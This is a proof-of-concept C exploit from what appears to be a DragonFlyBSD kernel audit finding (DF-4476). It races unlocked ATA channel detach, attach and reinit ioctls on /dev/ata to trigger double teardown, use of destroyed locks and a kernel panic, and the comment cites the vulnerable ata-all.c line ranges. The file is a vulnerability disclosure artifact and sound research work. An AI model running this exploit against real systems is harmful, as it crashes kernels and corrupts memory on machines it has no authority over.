⬢ DragonFlyBSD Kernel Audit
DF-4476 / ata_detach_race.c
← back to finding ↓ download raw
/*
 * DF-4476 PoC: unlocked IOCATADETACH/IOCATAATTACH/IOCATAREINIT ioctl races
 * on the /dev/ata control device -> double teardown / use of destroyed
 * channel locks -> kernel panic or resource double-free.
 *
 * Sink: sys/dev/disk/nata/ata-all.c
 *   ata-all.c:154-184 ata_detach(): unlocked `if (!ch->r_irq)' check-then-act;
 *     concurrent callers both run bus_teardown_intr + bus_release_resource +
 *     lockuninit(&ch->state_mtx/&ch->queue_mtx) twice.
 *   ata-all.c:186-270 ata_reinit(): lockmgr(&ch->state_mtx...) on a lock that
 *     a concurrent ata_detach has already lockuninit'ed.
 *   Dispatch ata-all.c:369-447: no serialization of the channel-control
 *     ioctls (IOCATAREINIT 384, IOCATAATTACH 392, IOCATADETACH 400).
 *
 * Usage: ata_detach_race [channel]
 * Default channel 0 (ata0 - empty channel on this guest, no disk).
 * Needs root (operator) on /dev/ata.
 */
#include <sys/types.h>
#include <sys/ioccom.h>
#include <errno.h>
#include <fcntl.h>
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#define POC_IOCATAREINIT	_IOW('a', 2, int)
#define POC_IOCATAATTACH	_IOW('a', 3, int)
#define POC_IOCATADETACH	_IOW('a', 4, int)

static int fd;
static int channel;
static volatile int stop;
static volatile unsigned long n_detach, n_attach, n_reinit;

static void *
t_detach(void *arg)
{
	int which = (int)(size_t)arg;
	int ch = channel;

	while (!stop) {
		if (ioctl(fd, POC_IOCATADETACH, &ch) == 0)
			n_detach++;
		if (which)
			usleep(300);
	}
	return (NULL);
}

static void *
t_attach(void *arg)
{
	int ch = channel;

	(void)arg;
	while (!stop) {
		if (ioctl(fd, POC_IOCATAATTACH, &ch) == 0)
			n_attach++;
		usleep(200);
	}
	return (NULL);
}

static void *
t_reinit(void *arg)
{
	int ch = channel;

	(void)arg;
	while (!stop) {
		if (ioctl(fd, POC_IOCATAREINIT, &ch) == 0)
			n_reinit++;
		usleep(100);
	}
	return (NULL);
}

int
main(int argc, char **argv)
{
	pthread_t ta, tb, tc, td;
	time_t t0 = time(NULL), limit = 60;

	channel = (argc > 1) ? atoi(argv[1]) : 0;
	if (argc > 2)
		limit = atoi(argv[2]);

	fd = open("/dev/ata", O_RDWR);
	if (fd < 0) {
		perror("open /dev/ata");
		return (1);
	}
	printf("poc: racing detach/attach/reinit on ata channel %d for <=%lds\n",
	    channel, (long)limit);

	pthread_create(&ta, NULL, t_detach, (void *)0);
	pthread_create(&tb, NULL, t_detach, (void *)1);
	pthread_create(&tc, NULL, t_attach, NULL);
	pthread_create(&td, NULL, t_reinit, NULL);

	while (time(NULL) - t0 < limit) {
		sleep(2);
		printf("poc: detach=%lu attach=%lu reinit=%lu\n",
		    n_detach, n_attach, n_reinit);
	}
	stop = 1;
	pthread_join(ta, NULL); pthread_join(tb, NULL);
	pthread_join(tc, NULL); pthread_join(td, NULL);
	printf("poc: survived: detach=%lu attach=%lu reinit=%lu "
	    "(no panic in %lds)\n", n_detach, n_attach, n_reinit,
	    (long)(time(NULL) - t0));
	return (0);
}